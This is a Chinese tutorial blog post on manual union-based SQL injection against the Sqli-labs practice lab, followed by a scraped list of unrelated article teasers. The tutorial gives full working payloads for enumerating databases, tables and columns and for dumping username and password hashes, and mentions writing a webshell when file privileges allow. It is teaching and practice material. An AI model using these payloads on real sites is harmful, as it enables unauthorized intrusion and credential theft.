SQL Injection | MySQL 手工注入全流程

0x01:MySQL 手工注入 —— 理论篇

手工注入 MySQL 数据库,一般分为以下五个阶段,如下图所示:

  • 第一阶段 - 判断注入点: 在本阶段中,我们需要判断注入点的数据类型(数字型、字符型、搜索型、XX 型)与后端查询方式,并使用对应的 SQL 语句进行测试,判断出目标是否存在注入点。

  • 第二阶段 - 猜解列名数量: 当目标会将数据库内容回显(使用报错注入可以无视这步)时,我们还需要猜测目标返回的数据库中的字段数量,以方便我们后续的注入。

  • 第三阶段 - 判断回显点: 知道了目标返回的字段数量后,我们需要判断这些字段中哪些内容是可以直接显示在页面上的(有回显点),以方便我们后续获取数据库中的内容。

  • 第四阶段 - 数据库信息收集: 在本阶段中,我们会利用第三阶段的回显点,使用各种 SQL 语句与函数,获取目标数据库的信息。

  • 第五阶段 - SQL 注入漏洞利用: 在本阶段,我们会利用之前收集到的目标数据库的信息,对目标实施更进一步的渗透攻击,如脱裤(将数据库内容全部扒拉下来)和写入木马(需要目标开放对应的权限)。

0x0101:MySQL 数据库查询语句

下面是我们需要提前了解的一些关于 MySQL 数据库的查询语句(基础版):

 # 查数据库名,即查询当前数据库服务器中存在哪些数据库select schema_name from information_schema.schemata;# 查表名,即查询指定数据库中存在哪些数据表select table_name from information_schema.tables where table_schema='数据库名'; # 查字段名,即查询指定数据库的某个数据表中存在哪些字段select column_name from information_schema.columns where table_schema='数据库名' and table_name='数据表名'; 

0x0102:MySQL 数据库查询函数

下面是我们需要提前了解的一些关于 MySQL 数据库的查询函数(基础版):

函数名函数解析用法示例
order by对指定列排序select * from table_name order by 3
group_concat()将查询出来的结果用, 号分隔拼接起来select group_concat(schema_name) from information_schema.schemata;
mid(字符串,起始位置(从1开始),取几位)按照指定规则截取字符串的内容select mid('12',2,1);
user()获取当前登录的用户权限select user();
version()数据库版本收集select version();
database()查看当前正在操作的数据库名称select database();
@@secure_file_priv查看当前数据库是否开启了读写权限。select @@secure_file_priv;

0x02:MySQL 手工注入 —— 实战篇

本节重点在于熟悉 SQL 注入流程,以及注入原理。练习靶场为 Sqli-labs(Less -2 GET - Error based - Intiger based),靶场的配套资源如下(附安装教程):

实验工具准备

  • PHP 运行环境:phpstudy_x64_8.1.1.3.zip(PHP 7.X + Apache + MySQL)

  • SQLI LABS 靶场:sqli-labs-php7.zip(安装教程:SQLI LABS 靶场安装)

0x0201:第一阶段 — 判断注入点

进入靶场,靶场提示 Please input the ID as parameter with numeric value 要我们输入一个数字型的 ID 作为参数进行查询,那我们就按它的意思传入 id 看看网页返回的结果:

如上,靶场返回了用户的 Login name 和 Password 参数,如果你试着多传递几个不同的值,你还能查询到更多的内容,比如这里,笔者传递了 ?id=3-1 成功获取了 id 为 2 的用户的数据,顺带提一个小思考题(为什么不能直接传递 ?id=1+1):

这里不卖关子了,因为在 GET 请求的 URL 中,+ 号通常被解释为空格,所以在上面这个例子中,你传递的 ?id=1+1 被后端解析后,就变成了 ?id= 1 1,明显不对,所以当你想要传递 + 号给后端时,最好对 + 号进行 URL 编码,比如下面这个例子:

在上面的测试中,我们发现了,我们传递的数据其实是会被后端解析执行的(MySQL 数据库能够执行一些简单的运算),其实到这里,我们已经可以基本判断这个 id 处存在注入点了。

通过上面测试的结果,我们可以尝试推测目标后端执行的 SQL 语句模板:

 select * from users where id=$_GET['id'];

这里的 $_GET['id'] 就是我们的注入点,我们传入的值会直接替换 $_GET['id'] 然后被传入后端数据库进行执行。

上面的测试,是针对数字型注入点的一种特殊的测试思路,下面我这里再啰嗦一点,提供一个通用的测试思路,即通过拼接布尔表达式,再根据页面返回的结果,判断其是否存在注入点(下面内容可以略过,本节的主要目的就是判断其是否存在注入点,上面的测试已经证明了目标存在注入点,这里只是提供一个通用的方法而已)。

针对我们推测的目标后端 SQL 语句模板,我们可以传递如下两条 Payload 进行测试:

 测试 Payload 01: ?id=1 and 1=1 # 若存在注入点,则页面不会发生任何变化,否则页面异常推测后端执行语句: select * from users where id=1 and 1=1;

 测试 Payload 02: ?id=1 and 1=0 # 若存在注入点,则页面不会返回任何值,因为 1=0 为假推测后端执行语句: select * from users where id=1 and 1=0;

注意:在浏览器中,用户传递的内容会自动进行一次 URL 编码,比如空格会自动变为 %20

通过比对两次的输出结果,我们发现,当在原有的查询基础上添加一个恒真的 SQL 表达式时,查询结果不变;当加上一个恒为假的 SQL 表达式时,服务端未返回任何结果。由此我们可以确定,我们输入的内容成功带入到数据库中执行了,且目标未作任何过滤。所以 id 处存在 SQL 注入漏洞。

0x0202:第二阶段 — 猜解列名数量

在第一阶段的测试中,我们确定了 ?id= 处存在 SQL 注入漏洞,接下来,我们需要通过 order by (根据某一列进行排序)函数确定服务端返回的数据库字段数量:

测试语句1 -> ?id=1 order by 1 -> 将返回的数据根据第1列进行排序,若返回的数据少于1列会报错推测后端执行语句: select * from users where id=1 order by 1;​测试语句2 -> ?id=1 order by 2 -> 将返回的数据根据第2列进行排序,若返回的数据少于2列会报错推测后端执行语句: select * from users where id=1 order by 2;​测试语句3 -> ?id=1 order by 3 -> 将返回的数据根据第3列进行排序,若返回的数据少于3列会报错推测后端执行语句: select * from users where id=1 order by 3;​测试语句4 -> ?id=1 order by 4 -> 将返回的数据根据第4列进行排序,若返回的数据少于4列会报错推测后端执行语句: select * from users where id=1 order by 4;............................ 如果没遇到报错还得继续查下去 .............................

如上,当我们要求数据库返回的数据按照第 4 列排序的时候,数据库返回了报错信息,说没有找到第 4 列;但是当我们要求其按照第 3 列进行排序的时候,它成功返回了结果。由此,我们可以推断,目标数据库返回了 3 列数据。

0x0203:第三阶段 — 判断回显点

在上一阶段中,我们确定了目标数据库会返回三列值,接下来我们需要使用 union 联合查询,来判断这三列值中,哪个值会成为回显点 (其实在很多测试中,数据库返回的值不会直接回显回页面,这个时候,我们需要使用 “盲注” 技术 ,该技术笔者会在后续的笔记中讲解) 。不过在此之前,笔者先简单介绍以下联合查询:

MySQL Union 联合查询
MySQL 的 UNION 操作符用于将两个或多个 SELECT 语句的结果集合并成一个结果集。它通常用于从多个表中获取数据,或者从同一个表中根据不同的条件获取数据,并将这些数据合并到一起。

示例:使用 UNION 操作符将两个 SELECT 语句的结果集合并到一个结果集
 

 mysql> select username, password from users union select 'key1', 1;+----------+----------------------------------+| username | password                         |+----------+----------------------------------+| admin    | e10adc3949ba59abbe56e057f20f883e || pikachu  | 670b14728ad9902aecba32e22fa4f6bd || test     | e99a18c428cb38d5f260853678922e03 || key1     | 1                                | # 注意这行,是我们通过 union select 'key1', 1; 额外添加上的。+----------+----------------------------------+4 rows in set (0.00 sec)

注意:MySQL Union 查询特性

  • 特性 1:Union 操作符会默认去除重复的行,这可能会增加一些计算开销。

  • 特性 2:Union 前面查询的语句和后面查询的语句结果互不干扰(不用在意数据类型)。

  • 特性 3:Union 前面查询语句的字段数量和后面查询语句的字段数量要一致!

接下来,我们对靶场传入如下 Payload 进行测试:

 测试语句: ?id=-1 union select 1,2,3推测后端执行语句:select * from users where id=-1 union select 1,2,3;

Payload 中传入 id=-1 是为了确保 select * from users where id=-1 查询不出任何值,导致目标可以返回后半段的查询结果,即 select 1,2,3 的查询结果 (为什么是 select 1,2,3?因为我们前面的测试中发现目标返回了 3 列结果,且 Union 需要确保前后两个 select 语句查询的结果字段数量要一致)

通过上面的回显结果,可以看到,页面最终回显了 select 1,2,3; 中 2 号位和 3 号位的信息,那这里的 2 号位和 3 号位就是最终的回显点,我们接下来就可以利用这两个回显点,进行数据库的信息搜集了。

0x0204:第四阶段 — 数据库信息收集

通过第三阶段,我们确定了 2 号位和 3 号位为数据的回显点。所以,接下来我们进行信息收集的语句就可以放在这两个位置上(任意一个都可以)。

在本阶段中,我们将会全面收集目标数据库的详细信息,信息收集的越详细,最后能进行攻击的手段就越多。

1. 用户权限收集

SQL 注入攻击,其实就是通过伪造合法的数据库用户,利用它们的权限,来对数据库进行合法的操作。所以第一步,我们就需要了解我们当前获取的数据库用户的权限,以此来了解我们到底能干嘛:

 攻击 Payload: ?id=-1 union select 1,2,user()推测后端执行语句:select * from users where id=-1 union select 1,2,user();

传入测试语句后,在 3 号位回显了 root@localhost 证明了当前我们渗透的用户拥有 root 权限,可以对数据库进行任意的操作。

2. 数据库版本收集

MySQL version() 函数会返回当前数据库的版本信息。我们通常将 5.0 以上的版本称为高版本数据库,因为在这些高版本数据库中会内置 information_schema 这张数据表,这张表对我们后续的信息收集工作很重要。如果渗透的是低版本的 MySQL 数据库,我们可以采用字典暴力猜解的方式来尝试确定目标数据库中的信息。

攻击 Payload: ?id=-1 union select 1,2,version()
推测后端执行语句:select * from users where id=-1 union select 1,2,version();

3. 数据库读写权限收集

在前面的信息收集中,我们发现了我们渗透获取的用户为 root,属于一个高权限用户了。所以我们就可以更进一步的尝试测试目标是否开启了文件的读写权限,如果目标开启了该权限,我们就可以通过 MySQL 数据库向目标指定文件夹中写入木马,进而控制整个服务器了。

在进行攻击之前,我先简单介绍一下 MySQL 的文件读写权限:在 MySQL 高版本(5.0 以上)中,添加了一个新的特性 secure_file_priv,该选项限制了 mysql 导出文件的权限。

  • secure_file_priv='' 时,对 MySQL 的读写没有任何限制。

  • secure_file_priv='NULL' 时,MySQL 不能对文件进行读写操作。

  • secure_file_priv='文件路径' 时,MySQL 只能对目标路径下的文件进行读写。

攻击 Payload: ?id=-1 union select 1,2,@@secure_file_priv
推测后端执行语句:select * from users where id=-1 union select 1,2,@@secure_file_priv;

目标的 secure_file_priv 设置为 NULL,证明目标关闭了文件读写的权限,所以这条路就走不通咯(笔者后续会专门出一期 “MySQL 高权限注入” 的内容,讲解如何利用这种漏洞,这里就先略过了)。

0x0205:第五阶段 — SQL 注入漏洞利用

通过前面的四个阶段,我们已经对目标站点有了足够清晰的认识,并且已经可以总结出一个注入模板了:

攻击 Payload: ?id=-1 union select 1,2,攻击参数

接下来,我们将会利用这个这个注入模板,尝试获取目标数据库中的一些敏感信息。

1. 获取数据库信息

通过前面对数据库信息的收集,我们可以知道,对方使用的是高版本的数据库,且我们拥有 root 权限。结合这两个信息,我们很轻松就可以推测出,我们拥有查看多个数据库的权限。

查看其它数据库,就需要知道这些数据库的名字,这里我们利用 information_schema 这个系统库,来获取目标数据库服务器中存在的数据库名:

攻击 Payload: ?id=-1 union select 1,2,group_concat('<br>',schema_name) from information_schema.schemata
推测后端执行语句:select * from users where id=-1 union select 1,2,group_concat('<br>',schema_name) from information_schema.schemata;

如上,我们已经成功获取了目标数据库服务器中存在的其它数据库名称。

2. 获取数据表信息

接下来,我们以 pikachu 数据库为例,演示如何收集 pikachu 数据库中的数据表信息,依旧是使用 information_schema 系统库:

攻击 Payload: ?id=-1 union select 1,2,group_concat('<br>',table_name) from information_schema.tables where table_schema='pikachu'
推测后端执行语句:select * from users where id=-1 union select 1,2,group_concat('<br>',table_name) from information_schema.tables where table_schema='pikachu'

如上,我们已经成功获取了 pikachu 数据库中存在的数据表啦。

3. 获取数据表字段信息

知道了数据库,数据库里的数据表,我们还需要知道数据表中的字段,才能够随意的查询数据库中的内容,所以这一步,我们将通过 information_schema 系统库,获取 pikachuusers 这张表的字段信息:

攻击 Payload: ?id=-1 union select 1,2,group_concat('<br>',column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'
推测后端执行语句:select * from users where id=-1 union select 1,2,group_concat('<br>',column_name) from information_schema.columns where table_schema='pikachu' and table_name='users';

如上,我们成功获得了 pikachu 数据库的 users 数据表中的字段信息,接下来,我们就可以任意查询这个数据库中的信息啦。

4. 获取数据表具体内容

通过前面的测试,我们已经完全掌握了 pikachu 数据库的 users 数据表的结构了,接下来,我们就可以构造语句读取数据表信息啦:

攻击 Payload: ?id=-1 union select 1,2,group_concat('<br>' ,username, ':', password) from pikachu.users
推测后端执行语句:select * from users where id=-1 union select 1,2,group_concat('<br>' ,username, ':', password) from pikachu.users;

如上,我们已经成功读取到我们想要的数据啦。重复前面的四个步骤,我们就可以读取任意数据库的任意一张数据表中的信息了。

聪明如你,应该发现了,我们上面渗透的数据库其实不是当前站点使用的数据库,这就是高权限的一个优势,可以 “跨库查询”。至此,MySQL 手工注入的基本流程讲解完毕。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/454217.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C++、数据结构】二叉排序树(二叉查找树、二叉搜索树)(图解+完整代码)

目录 [⚽1.什么是二叉排序树] [&#x1f3d0;2.构建二叉排序树] [&#x1f3c0;3.二叉排序树的查找操作] [&#x1f94e;4.二叉排序树的删除] [&#x1f3b1;5.完整代码] ⚽1.什么是二叉排序树 二叉搜索树又称二叉排序树&#xff0c;它或者是一棵空树&#xff0c;或者是…

Java避坑案例 - 消除代码重复_模板方法与工厂模式的最佳实践

文章目录 需求基础实体类BadVersion优化&#xff1a; 利用工厂模式 模板方法模式&#xff0c;消除 if…else 和重复代码优化一&#xff1a; 模板方法的应用AbstractCart 类&#xff08;抽象类&#xff09;各种购物车实现&#xff08;继承抽象类&#xff09;普通用户购物车 (No…

【JavaScript】Javascript基础Day02:运算符、分支、循环

Javascript——Day02 01. 赋值运算符02. 自增运算符03. 比较运算符04. 逻辑运算符以及优先级05. if单分支语句06. if双分支语句07. if多分支语句08. 三元运算符09. 数字补0案例10. switch分支语句11. 断点调试12. while循环13. 退出循环 01. 赋值运算符 02. 自增运算符 03. 比较…

【java】抽象类和接口(了解,进阶,到全部掌握)

各位看官早安午安晚安呀 如果您觉得这篇文章对您有帮助的话 欢迎您一键三连&#xff0c;小编尽全力做到更好 欢迎您分享给更多人哦 大家好我们今天来学习Java面向对象的的抽象类和接口&#xff0c;我们大家庭已经来啦~ 一&#xff1a;抽象类 1.1:抽象类概念 在面向对象的概念中…

Python|基于Kimi大模型,实现上传文档并进行“多轮”对话(7)

前言 本文是该专栏的第7篇,后面会持续分享AI大模型干货知识,记得关注。 假设有这样的需求,需要你通过python基于kimi大模型,上传对应的文档并根据对应的prompt提示词,进行多轮对话。此外,还需要将kimi大模型生成的内容进行存储。具体场景,如下图所示: 也就是说,当我们…

这种V带的无极变速能用在新能源汽车上吧?

CVT的无极变速器的结构能用在电动汽车上吗&#xff1f;

【优选算法篇】在分割中追寻秩序:二分查找的智慧轨迹

文章目录 C 二分查找详解&#xff1a;基础题解与思维分析前言第一章&#xff1a;热身练习1.1 二分查找基本实现解题思路图解分析C代码实现易错点提示代码解读 1.2 在排序数组中查找元素的第一个和最后一个位置解题思路1.2.1 查找左边界算法步骤&#xff1a;图解分析C代码实现 1…

LeetCode94:二叉树的中序遍历

文章目录 &#x1f60a;1.题目&#x1f609;2.解法1.递归2.迭代 &#x1f60a;1.题目 尝试一下该题 &#x1f609;2.解法 1.递归 /*** Definition for a binary tree node.* struct TreeNode {* int val;* struct TreeNode *left;* struct TreeNode *right;* …

企业级 RAG 全链路优化关键技术

2024 云栖大会 - AI 搜索企业级 RAG 全链路优化关键技术 在2024云栖大会上&#xff0c;阿里云 AI 搜索研发负责人之一的邢少敏先生带领大家深入了解如何利用 RAG 技术优化决策支持、内容生成、智能推荐等多个核心业务场景&#xff0c;为企业数字化转型与智能化升级提供强有力的…

【Linux】了解pthread线程库,清楚并没有线程创建接口,明白Linux并不存在真正意义的线程(附带模型图详解析)

前言 大家好吖&#xff0c;欢迎来到 YY 滴Liunx系列 &#xff0c;热烈欢迎&#xff01; 本章主要内容面向接触过C的老铁 主要内容含&#xff1a; 欢迎订阅 YY滴C专栏&#xff01;更多干货持续更新&#xff01;以下是传送门&#xff01; YY的《C》专栏YY的《C11》专栏YY的《Lin…

ECHO-GL:盈利电话驱动的异质图学习股票 走势预测

目录 简单概括1 背景知识相关的工作图学习在股票预测中的应用股票预测中的收益电话会议 方法异质股票图结构建造时间分配机制滑动窗机构库存空间关系模块异构边缘类型消息传递音频引导的注意聚合财报电话会议后股票动态模块预测和优化 实验消融研究 (for Q2)模拟交易 (for Q3) …

vue组件传值之$attrs

1.概述&#xff1a;$attrs用于实现当前组件的父组件&#xff0c;向当前组件的子组件通信&#xff08;祖-》孙&#xff09; 2.具体说明&#xff1a;$attrs是一个对象&#xff0c;包含所有父组件传入的标签属性。 注意&#xff1a;$attrs会自动排除props中声明的属性&#xff0…

【不要离开你的舒适圈】:猛兽才希望你落单,亲人总让你回家,4个维度全面构建舒适圈矩阵

单打独斗的英雄时代已经落幕 抱团取暖才是社会寒冬的良策 自然界中&#xff0c;每个物种都占据着自己的领地和生存空间。 生态位的差异决定了它们的生存方式&#xff0c;一旦离开领地&#xff0c;失去群体的庇护&#xff0c;就会沦为野兽的美餐。 人类社会同样存在隐形圈层…

【C++】踏上C++学习之旅(三):“我“ 与 “引用“ 的浪漫邂逅

文章目录 前言1. "引用"的概念1.1 "引用"的语法 2. "引用"的特性3. "引用"的使用场景3.1 "引用"做参数3. 2 "引用"做返回值3.2.1 "引用"做返回值时需要注意的点 4. 常引用5. "引用"在底层的实…

自动化数据处理:使用Selenium与Excel打造的数据爬取管道

随着互联网信息爆炸式增长&#xff0c;获取有效数据成为决策者的重要任务。人工爬取数据不仅耗时且效率低下&#xff0c;因此自动化数据处理成为一种高效解决方案。本文将介绍如何使用Selenium与Excel实现数据爬取与处理&#xff0c;结合代理IP技术构建一个可稳定运行的数据爬取…

RocketMQ快速开始

前置推荐阅读&#xff1a;RocketMQ简介-CSDN博客 本地部署 RocketMQ 这一节介绍如何快速部署一个单节点单副本 RocketMQ 服务&#xff0c;并完成简单的消息收发。 系统要求 64位操作系统&#xff0c;推荐 Linux/Unix/macOS64位 JDK 1.8 1.下载安装Apache RocketMQ​ RocketMQ…

aws 把vpc残留删除干净

最近忘了把vpc 删干净导致又被收了冤大头钱 在删除vpc 的收发现又eni在使用&#xff0c;但是忘了是哪个资源在占用 先用命令行把占用的资源找出来停掉 使用 AWS 命令行界面&#xff08;CLI&#xff09;来查看 VPC 的使用情况 列出子网&#xff1a; aws ec2 describe-subnets …

抖音列表页采集-前言

准备工作&#xff1a; 1.关于selenium介绍&#xff1a; python自动化入门的话&#xff0c;selenium绝对是最方便的选择&#xff0c;基本逻辑即为&#xff1a;程序模拟人的行为操作浏览器&#xff0c;这样的操作需要借用浏览器驱动&#xff0c;我选用的是chrome浏览器&#xff…

浮动练习(3)

##每台电脑分辨率不同&#xff0c;数值高度宽度需要自己调&#xff0c;仅供参考 <!DOCTYPE html> <html> <head> <meta charset"UTF-8"> <title></title> <style> div{ …

港大和字节提出长视频生成模型Loong,可生成具有一致外观、大运动动态和自然场景过渡的分钟级长视频。

HKU, ByteDance&#xff5c;⭐️ 港大和字节联合提出长视频生成模型Loong&#xff0c;该模型可以生成外观一致、运动动态大、场景过渡自然的分钟级长视频。选择以统一的顺序对文本标记和视频标记进行建模&#xff0c;并使用渐进式短到长训练方案和损失重新加权来克服长视频训练…